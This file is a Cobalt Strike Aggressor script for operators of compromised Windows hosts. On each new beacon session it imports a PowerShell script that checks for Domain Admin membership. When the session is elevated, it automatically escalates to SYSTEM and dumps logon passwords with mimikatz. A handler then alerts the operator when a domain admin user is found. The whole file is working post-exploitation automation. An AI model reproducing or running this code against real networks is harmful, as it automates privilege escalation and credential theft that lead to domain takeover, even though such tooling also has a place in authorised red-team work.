Initial-DACheck.cna

 # quickly run powershellimport
sub powershellimport {
  bpowershell_import($1, script_resource("Invoke-DACheck.ps1"));
}

alias checkda {
  powershellimport($1);
  bpowershell($1, 'Invoke-DACheck');
}

# register the GetDa command
beacon_command_register(
  "checkda", 
  "Checks if the current user is in the DA Group", 
  "Synopsis: echo [no arguments]\n\nChecks using Powershell that supports (2.0 or later with 3.5 .NET) \n or (PS 4.0 or later) to perform Domain Group queries.");

# set up the Initial check
on beacon_initial {
  powershellimport($1);
  bpowershell($1, 'Invoke-DACheck -Initial True');
  $a = binfo($1, "user");
  $b = "*";
  if ($b isin $a)
    {
    bgetsystem($1);
    blogonpasswords($1);
    }
}


#NEED TO SETUP A CHECK ARRAY FOR PAST DA FINDS
# set up event consumer to search for specfic pattern
# if found alert them via Elog and box
on beacon_output {
    $s = replace($2, 'received output:\n'.'');
    # println($s);
    $f = "[!] Found-DA-User:";
    if ($f isin $s)
      {
      $pid = binfo($1, "pid");
      elog("Found DA User at Pid: $pid");
      show_message("Found DA User at Pid: $pid");
      beacon_note($1, "DA User on this box");
      }
  }

#  bpowershell($1, '$user = [Security.Principal.WindowsIdentity]::GetCurrent();(New-Object Security.Principal.
#  WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)');